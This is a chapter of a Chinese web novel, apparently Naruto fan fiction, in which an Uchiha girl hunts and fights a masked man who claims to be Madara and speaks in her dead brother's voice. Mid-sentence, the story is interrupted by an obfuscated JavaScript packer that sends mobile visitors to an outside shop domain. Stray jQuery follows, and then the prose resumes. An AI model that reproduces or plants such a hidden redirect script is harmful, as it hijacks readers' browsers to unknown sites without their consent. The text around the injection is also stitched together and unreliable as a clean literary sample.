文趣网 > 其他小说 > 宇智波一败涂地 > 72.第 72 章
    我最近总觉得有人在监视我。

    一开始只是很轻微的感觉,我回头去看又什么都没有。

    这很奇怪。

    我的对视线向来敏感,谁在监视我?木叶的暗部不是这样,宇智波也不是这样,那种视线不属于我熟悉的任何一种监视方式。

    我鸡皮疙瘩都起来了,察觉到的瞬间让我这几天都老实了起来,多余的忍术都不敢使用,我觉得我伪装的全无漏洞。

    想到对方这暗戳戳的监视,我就难受的不行,凭什么他可以躲在暗处,我却要因为他束手束脚。我现在的生活已经够无聊了,结果又冒出一个不知道哪里来的鬼东西盯着我,非常影响心情。

    从点心店吃完饭以后,我照旧沿着街往回走,照旧推开门,照旧让屋里的灯亮起来。然后我在客厅里抬手结印。

    下一瞬,我从原地消失。

    再出现时,人已经在后山的树影里。

    这里远离住宅区,监视的人真是找了好地方,这里没有巡逻的忍者,看来这个人对木叶很是了解。

    夜晚的树林里漆黑一片,远处的木叶灯火被枝叶切得零零碎碎。

    我要找到那个一直监视我的东西,不然非常影响我美妙的生活。

    木叶在搞什么,安保系统和没有一样的,什么都能放进来。

    我蹲在树枝上,闭上眼。

    水线从指尖散开,像蛛丝一样弥漫开来,很快捕捉到了他的查克拉残留。

    我睁开眼。

    找到了。

    那个人显然没有想到我会这么快发现他,毕竟这个时代的大家都菜菜的。

    他向林深处退去,速度很快。

    我追了上去,树影在身侧飞快后退,水线沿着指尖散开,悄无声息地缠上附近的树干。

    夜里的山林到处都是水,叶片上的露珠,树皮里的潮气,这里是我的主战场。

    前方的身影忽然向左折去。

    下一刻,一枚苦无从右后方刺向我的颈侧。

    我偏头避开。刀刃擦过发梢,前方的气息忽然一折,他反过来绕到我的侧后方。

    反追踪。他什么时候绕到后面的?

    写轮眼转动起来,我反手抓住他的手腕,手指却直接穿了过去。

    我瞳孔一缩。他没有借机攻击,只从我的身体中穿过,落到身后另一棵树上。

    我冷笑了一声,水线立刻从四面八方收紧。数十根细线切开夜色,封住他的所有行动,树叶被锋利的水流割碎,漫天落下,月光在飞散的水珠上闪耀。

    所有水线都穿过了他的身体,我没有感受到任何阻力。

    那人站在水线中央。

    好烦的能力,是哪家的血继界限?

    他抬起手,一条锁链从衣袖里甩出,锁链绕过树干,带着破空声从侧面抽来。我俯身避开,身后的树皮被生生削掉一层。还没站稳,另一端已经贴着地面扫向我的脚踝。

    我踩着水线腾空。

    锁链贴着鞋底掠过,砸进旁边的树根。泥土炸开,碎石劈头盖脸地飞来。

    他猛地收紧锁链,整棵树发出令人牙酸的断裂声,向我所在的位置倾倒下来。我的水线骤然断开,原本留在树枝上的残影被他一击击碎,真正的我已经落到另一棵树上。

    这么大动静,会被发现的!

    我抬手结印,地下的水被强行抽出,顺着树根冲破泥土。水流托住倒塌的树干,短暂改变了它落下的方向,平稳落地。

    我落在断裂的树干上,故意露出后背。水线全部垂落下来,像是刚才那一下耗尽了我的查克拉。

    随后,身后的空间出现了一点极细微的扭曲。

    来了。

    锁链从虚空里探出,朝我的腰间缠来。

    我没有躲开,锁链穿过身体的一瞬间,我整个人散成水流,水花溅了他满身。那些水沿着锁链迅速向上蔓延,转眼缠住他的手臂,我从上方树影里落下。

    手中的水线绷成极细的刀刃,直取他的面具。

    他抬头看我,面具后的眼睛露出一线红光。

    写轮眼。

    果然是宇智波。

    我的水刃碰到他面具前的一瞬间,他的身体再次虚化。

    这个虚化是万花筒的能力,到底是谁?

    风忽然大了起来,积压在天上的云被缓慢推开,一线月光从裂隙间落下来,落在他身上。

    我终于看清了他的样子。他站在一棵高树的枝头,夜风吹动他的衣角,脸上戴着面具,头发很长,毛茸茸地垂下来,被风吹得凌乱。

    我整个人都僵住了。

    他站在月光里的轮廓,那么一瞬间,与记忆里的人重叠在了一起。有点像我哥,又不像我哥。

    “哥哥?”

    我听见我不受控住的发出声音。

    隔着面具,我看不出他的表情,如果他刚才攻击我,我就死定了。

    我抬手,水线绷紧,锋利地指向他。

    “你到底是谁?”

    面具后的人看着我,用我极其熟悉又极其怀念的声音说:“宇智波斑。”

    “我要杀了你。”我盯着他,一字一句道:“你不配用这个名字。”

    他面具后的眼睛注视着我,然后,他换上我熟悉的语调,他说:

    “小夜。”

    没有任何预兆,我的眼泪一下子掉了下来,甚至连我自己都没反应过来。

    眼前已经模糊了。

    他站在那里,用我哥的声音说:“见到哥哥,难道不应该开心吗?”

    我浑身都在发抖,我要杀了他!

    什么隐瞒什么不要引人注意我都不考虑了,没有什么比杀了他更重要,他也配叫做宇智波斑?!

    他到底是谁?也配用这样的语气喊我的名字?!

    我不在乎他怎么知道我和我哥的事情,他不应该让我想起我哥,让我产生永远都无法实现的期待。

    我抬起手。

    水线在我身后密密麻麻展开,细碎的银光一闪而过,水线从四面八方封住他的退路,空气里的水汽全都被我夺了过来。树干无声地裂开,切口平滑得像被利刃削过,断裂的枝叶直到几息后才从高处坠落。

    他站在原地没有闪避,任由水线穿过他的颈侧、心脏和腰腹。

    水线立刻从地下翻起,封锁周围所有的空间。水流沿着树根爬升,转瞬结成一片相互交错的网。

    面具后的写轮眼微微转动,他向后退去。

    又想跑。

    水线铺开的范围越来越广,整片树林仍旧开始震动。树叶簌簌落下,栖息在林中的鸟群被惊醒,扑棱着翅膀飞向夜空。

    他抬头看了一眼,不是在看鸟,他在思考什么。

    我立刻明白了他不想惊动村里的人。既然这样,我偏要让所有人都知道这里有个不敢见人的东西。

    我双手结印,地下水脉猛地震动起来。

    大量水流冲破泥土,沿着树干盘旋而上。原本安静的树林像被洪水从内部撕开,粗壮的树根接连翻出地面。

    一道水柱直冲夜空。

    黑色锁链骤然从袖中飞出,缠住了那道正在升高的水柱。

    他收紧锁链,身体借力向上跃起。锁链从水流中穿过,竟然将那部分水直接吞了进去,水柱从中间消失了一截,失去支撑的上半部分轰然坠落。

    我立刻改变水势,坠下的水流在半空中分裂成数百根水刃,朝他所在的位置同时贯穿过去。

    他再次虚化,水刃穿过身体,切断后方大片树枝。

    树冠开始倾斜,他再次甩出锁链,精准地缠住即将倒塌的树干,借着向下坠落的力量将整棵树拖向山谷深处。

    轰鸣声被崖壁和密林吞没。

    他在收拾我制造出来的每一处动静,这种游刃有余让我更加愤怒。

    “你以为凭借这种能力,我就杀不了你吗?”

    我割破掌心,鲜血落进水中。

    原本透明的水线染上一层极淡的红色,查克拉顺着血液扩散出去,整片树林都变成了我的感知范围。

    他的身影再次消失。

    头顶的水线突然轻轻震动。

    我睁开眼,反手切向上方,他正从树干内部穿出来,水刃贴着面具划过,在螺旋纹路上留下了一道极细的裂痕。

    找到了,应对他的攻击方式。

    他落到另一侧树枝上,动作不再完全从容。我没有给他喘息的机会。

    水线从四面八方绞紧,攻击的不再是他,而是他周围所有可以落脚的位置。树枝连续断裂,地面被切出纵横交错的深痕。

    只要他出现,就必须有重新实体化的一瞬。

    水线逼得他不断后退,我沿着被切断的树干向前跃去。

    他又一次踩上树枝,附近的水珠轻轻偏移。

    是实体。

    我收拢五指,所

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729284|205100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有水线同时勒紧。

    他的肩膀、手腕和腰侧瞬间被切开,黑色衣料裂出细长的口子。他没有受伤,可恶。

    他在被水线切中的前一刻重新虚化了。

    可我已经逼到了他的面前,手中的水刃直取面具。他偏头避开,抬手扣住我的手腕。

    现在,他是实体。

    水线切向他抓着我的手,他没有松开,另一只手已经按向我的肩膀。

    周围空间出现螺旋状的扭曲。

    他想把我拖进去!

    我反手抓住他的衣领,掌心的水线沿着布料钻入。只要再近一点,就能直取他的命门。

    面具后的眼睛骤然收紧,他主动松开我,再次虚化。

    我们同时向后退开,脚下树枝承受不住查克拉冲击,轰然断裂。

    我落向地面,那个面具男没有继续追击,只抬头看向木叶的方向,远处出现了几道陌生的查克拉,是巡逻忍者,他们正在向后山靠近。

    只要再拖一会儿,木叶的人就会赶到。我故意提高声音:“怎么,不敢让人看见你吗?”

    他没有回答,面具后的独眼重新落到我身上。

    他身上的气息变了,我浑身紧绷,现在这具身体的查克拉并不多,持久战的话我不占上风。

    他抬起一只手。

    我立即后退,所有水线同时挡在身前。

    什么都没有出现。

    后颈深处忽然传来一阵刺痛,什么东西沿着脊骨扎进身体,熟悉而陌生的查克拉从身体深处苏醒,这东西在我身体里多久了。

    有点像我哥的查克拉,又不太像,这到底是什么东西,我的查克拉瞬间失去控制。

    水线剧烈震颤,严密的感知网一根接一根地崩断,大片水流从空中坠落。

    “你什么时候……”

    我从高处摔了下去,风从耳边灌过。

    月光和树影在视野里翻转,我试图重新提炼查克拉,却一点力气都没有,这里摔下去我大概率会死掉。

    巡逻忍者的气息越来越近。

    那个人从树上跃下。

    黑色衣袖从视野边缘掠过,他托住了我的背。下坠的冲击被他卸掉,我们落进树影最深的地方,没有发出多少声音。

    他甚至还吞掉了周围散乱的水流,树林重新安静下来。

    他低头看我:“睡吧,小夜。”

    我挣扎着想从他怀里起来:“孤儿院的院长……就是你吧。”

    面具后的人似乎笑了一下:“真聪明。”这种语气令人不爽。

    “不准用……这样的声音和我说话。”

    远处传来树枝被踩断的动静,巡逻忍者已经进入后山。

    他没有再与我纠缠,抬手盖住了我的眼睛。

    黑暗落下。

    他的掌心隔着一层手套,没有温度,我听见他说:“现在还不是时候。”

    他在和谁说话?

    意识越来越沉,最后听见的是巡逻忍者从远处传来的喊声:“那边有人吗?”

    抱着我的人没有回答,周围空间开始扭曲,在木叶的人赶到以前黑暗彻底将我吞没。

    我在家里醒来,天已经亮了。

    窗外传来鸟叫,屋子里安安静静。

    我躺在床上,身上还盖着被子,只是我还穿着昨天的衣服,衣服脏兮兮的,我的被子也脏了。

    我一边头疼,一边觉得昨天的人神经病,这种时候了还盖被子,导致我今晚还得洗被套。

    使用查克拉过多了,头很痛的,和宿醉一样的恶心。

    我缓慢的爬到厕所冲了个澡,后知后觉意识到昨天的人没有对我做什么手脚。他并不想杀我,那到底是为什么监视我,我还不知道他到底是谁。宇智波还有这样的人物?

    门铃就在这时候响了。

    我换了衣服去开门。

    门外站着佐助,他背着书包:“你怎么这么慢?”

    我混沌的脑子想了想才说:“刚醒。”

    “你脸色好差。”

    “没睡好。”

    “你总是没睡好。”他有点不满地嘟囔,“快点啦,要迟到了。”

    “好。”

    他伸手过来牵住我的手:“走了。”

    我老实巴交放弃思考,头好疼。

    佐助嘀咕了一句“奇怪”,却没有松开。

    太阳照在木叶的街道上,一切都像平常一样。